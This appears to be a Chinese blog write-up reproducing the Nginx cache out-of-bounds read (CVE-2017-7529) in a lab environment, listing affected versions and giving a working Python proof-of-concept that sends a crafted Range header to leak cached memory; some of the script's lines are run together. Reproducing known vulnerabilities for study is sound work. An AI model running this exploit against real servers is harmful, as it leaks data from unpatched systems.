当前位置: 首页 > news >正文

Nginx越界读取缓存漏洞(CVE-2017-7529)

漏洞原理:

影响版本内默认配置模块的Nginx只需要开启缓存,攻击者可以通过发送包含恶意构造range域的header请求进行远程攻击造成信息泄露。

影响范围:

         Nginx 0.5.6 – 1.13.2

漏洞复现:

开启靶场,访问8080端口

中间件版本在影响范围内

使用poc验证漏洞:

#!/usr/bin/env python
import sys
import requestsif len(sys.argv) < 2:print("%s url" % (sys.argv[0]))print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))sys.exit()headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)r = requests.get(url, headers=headers)
print(r.text)

 

​​​​​​​

http://www.lryc.cn/news/441235.html

相关文章:

  • 【MySQL】查询语句之inner、left、right、full join 的区别
  • Submariner 部署全过程
  • 驼峰命名法
  • Android IME输入法启动显示隐藏流程梳理
  • Java 入门指南:JVM(Java虚拟机)——类的生命周期与加载过程
  • Unity射击游戏开发教程:(36)敌人关卡生成器的设计和开发
  • AI对汽车行业的冲击和比亚迪新能源汽车市场占比
  • 2024年中国电子学会青少年软件编程(Python)等级考试(一级)核心考点速查卡
  • 游戏开发引擎__游戏场景(灯光,摄像机)
  • 2024 Snap 新款ar眼镜介绍
  • uni-app生命周期
  • LabVIEW机械产品几何精度质检系统
  • java 检测图片链接有没有效
  • 测试工程师学历路径:从功能测试到测试开发
  • JavaEE---Spring IOC(2)
  • Oracle字符集
  • RabbitMQ 常见使用模式详解
  • JavaEE初阶——初识EE(Java诞生背景,CPU详解)
  • iOS界面布局:屏幕尺寸与安全区域全面指南
  • javascript-代码执行原理
  • 【C++ | tips】const Date* operator() const中这两个const有什么区别?他们的作用是什么?
  • 开放的数据时代:Web3和个人隐私的未来
  • Kafka 安全机制详解及配置指南
  • 渗透测试综合靶场 DC-2 通关详解
  • 「iOS」——单例模式
  • Selenium自动化测试面试必备:高频面试题及答案整理
  • kettle 数据库迁移 使用分页原理实现 数据库mysql
  • 量化回测bt框架,策略类bt.Strategy详解,不是backtrader!提供bt双均线策略示例,比backtrader还简单
  • 网络安全宣传周 | DNS安全威胁与应对措施分享
  • 【图书介绍】《Altium Designer 24入门与案例实践(视频教学版)》